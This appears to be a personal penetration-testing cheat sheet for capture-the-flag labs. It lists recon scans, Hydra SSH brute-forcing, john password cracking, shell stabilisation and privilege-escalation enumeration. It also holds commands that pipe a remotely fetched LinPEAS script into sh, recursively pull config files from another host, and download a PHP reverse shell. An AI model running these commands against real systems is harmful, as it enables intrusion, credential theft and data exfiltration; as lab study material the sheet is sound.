NMAP

sudo nmap -sC -sV 10.10.204.43

GOBUSTER

BASIC - gobuster dir -u http://{IP}/ -w /usr/share/wordlists/dirb/common.txt

MEDIUM - gobuster dir -u http://{IP}/ -x php,txt,html -q -t 15 -w /usr/share/wordlists/dirb/common.txt

LEET - gobuster dir -u http://10.10.26.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

NIKTO

nikto -h {IP} -p 80

NETCAT

nc -nvlp {Port#} *stick to 33456?

SEARCHSPLOIT

searchsploit {name of program}

HYDRA

hydra -l {user} -P /usr/share/wordlists/rockyou.txt {IP} ssh

hydra -l <USERNAME> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET IP> -f -VV -t 4

PYTHON

python3 file.py -u httx://10.10.2.28/simple/ --crack -w
python3 ssh2john.py rsa.txt > crjohnack *using python to convert RSA to crack file for john

PRIVESC

Secure shell -- /usr/bin/script -qc /bin/bash /dev/null
.py secure shell –

python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z to background netcat
stty raw -echo
fg + ENTER to foreground netcat
export TERM=xterm256-color
Stable Shell!

whoami
id
ls
ls -al
sudo -l
uname -a
cat /etc/issue
cat /etc/passwd
ps aux
find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm /4000 2>/dev/
ifconfig
history
netstat -a
hostname

LINPEAS

cd to /dev/shm
HOST BOX -- python -m SimpleHTTPServer 5545
HACKED BOX – curl 10.10.19.221:1234/linpeas.sh | sh
Outfile – wget 10.10.10.10:5545/linpeas.sh
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
less -r /dev/shm/linpeas.txt #Read with colors

Data Exfil

wget -r -np http://10.10.0.0:1234/configs/

Find files:

- `find . -name flag1.txt` : find the file named "flag1.txt" in the current directory
- `find /home -name flag1.txt` : find the file names "flag1.txt" in the /home directory
- `find / -type d -name config` : find the directory named config under "/"
- `find / -type f -perm 0777` : find files with the 777 permissions (files readable, writable, and executable by all users)
- `find / -perm a=x` : find executable files
- `find /home -user frank` : find all files for user "frank" under "/home"
- `find / -mtime 10` : find files that were modified in the last 10 days
- `find / -atime 10` : find files that were accessed in the last 10 day
- `find / -cmin -60` : find files changed within the last hour (60 minutes)
- `find / -amin -60` : find files accesses within the last hour (60 minutes)
- `find / -size 50M` : find files with a 50 MB size

MISC

vim *for editing text or code
locate *for locating files
sudo openvpn {filepath to vpn file}
ssh -i {RSA ID} {user}@{IP}

john --wordlist=/usr/share/wordlists/rockyou.txt crackme
chmod 600 {file}
sudo gunzip file.txt.gz *for unzipping .gz files
enum4linux -a {IP}
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
john --wordlist=/usr/share/wordlists/rockyou.txt crackme
gcc [programName].c -o programName